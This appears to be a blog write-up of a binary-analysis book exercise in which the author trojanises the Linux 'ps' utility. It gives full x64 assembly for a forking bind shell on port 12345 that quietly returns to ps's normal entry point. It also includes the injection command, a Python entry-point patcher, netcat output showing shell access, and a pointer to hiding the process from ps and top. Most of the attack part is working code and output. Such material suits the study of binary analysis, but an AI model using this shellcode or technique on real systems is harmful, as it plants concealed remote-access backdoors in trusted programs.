Injecting shellcode into x64 ELF binaries
Intro
Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7.
It asks the reader to create a parasite binary from a legitimate one. I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process.
DISCLAIMER :
The following PoC will work only on a non-PIE binary due to the hardcoded entry-point address
Inspecting the target
Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder.
$ cp /bin/ps ps_teo
And take note of the original entry point.
$ readelf -h ps_teo
ELF Header:
...
Entry point address: 0x402f10
...
We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job. But, before jumping to that we should plan our shellcode.
Shellcoding our way out
We said we want a bind shell, right? Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process.
BITS 64
SECTION .text
global main
section .text
main:
push rax ; save all clobbered registers
push rcx
push rdx
push rsi
push rdi
push r11
;fork
xor rax,rax
add rax,57
syscall
cmp eax, 0
jz child
parent:
pop r11 ; restore all registers
pop rdi
pop rsi
pop rdx
pop rcx
pop rax
push 0x402f10 ; jump to original entry point
ret
child:
; socket
xor eax,eax
xor ebx,ebx
xor edx,edx
;socket
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29 ; sys_socket (syscall 41)
syscall
xchg ebx,eax
; bind
xor rax,rax
push rax
push 0x39300102 ; port 12345
mov [rsp+1],al
mov rsi,rsp
mov dl,16
mov edi,ebx
mov al,0x31 ; sys_bind (syscall 49)
syscall
;listen
mov al,0x5
mov esi,eax
mov edi,ebx
mov al,0x32 ; sys_listen (syscall 50)
syscall
;accept
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b ; sys_accept (43)
syscall
mov edi,eax ; store socket
;dup2
xor rax,rax
mov esi,eax
mov al,0x21 ; sys_dup2 (syscall 33)
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
;exec
xor rdx,rdx
mov rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b ; sys_execve (59)
syscall
call exit
exit:
mov ebx,0 ; Exit code
mov eax,60 ; SYS_EXIT
int 0x80
We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point. Let’s now create a raw binary from this NASM file, which can be used by our injection process later on.
nasm -f bin -o bind_shell.bin bind_shell.s
ELF-Inject
Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code.
./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1
If we inspect the binary once more, we can notice the new .injected section around location 0x800000
$ readelf --wide --headers ps_teo | grep injected
[27] .injected PROGBITS 0000000000800c80 017c80 0000b0 00 AX 0 0 16
Guess what? The value 800c80 is going to be our new entry point. I wrote a quick and dirt script that patch the entry-point on the fly.
import sys
import binascii
# usage: ep_patcher.py -filename -new_entrypoint
patch_file_input = sys.argv[1]
new_ep = sys.argv[2]
new_ep = binascii.unhexlify(new_ep)
with open(patch_file_input, 'rb+') as f:
f.seek(24)
f.write(new_ep)
We can test it by inserting the new address in little-endian format:
python patcher.py ps_teo 800c80
. . .we can verify that the new entry point has been modified correctly:
$ readelf -h ps_teo
ELF Header:
...
Entry point address: 0x800c80
...
After we ran the injected version of ps, we can notice a new listening socket on port 12345:
$ netstat -antulp | grep 12345
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 6898/ps_teo
Which leads to the expected backdoor:
$ nc localhost 12345
id
uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
whoami
binary
Extra stealthiness
If we want to hide our process from ps or top we could go even a step further and revise the whole shellcode to force it alter the /proc/ folder like this or that one.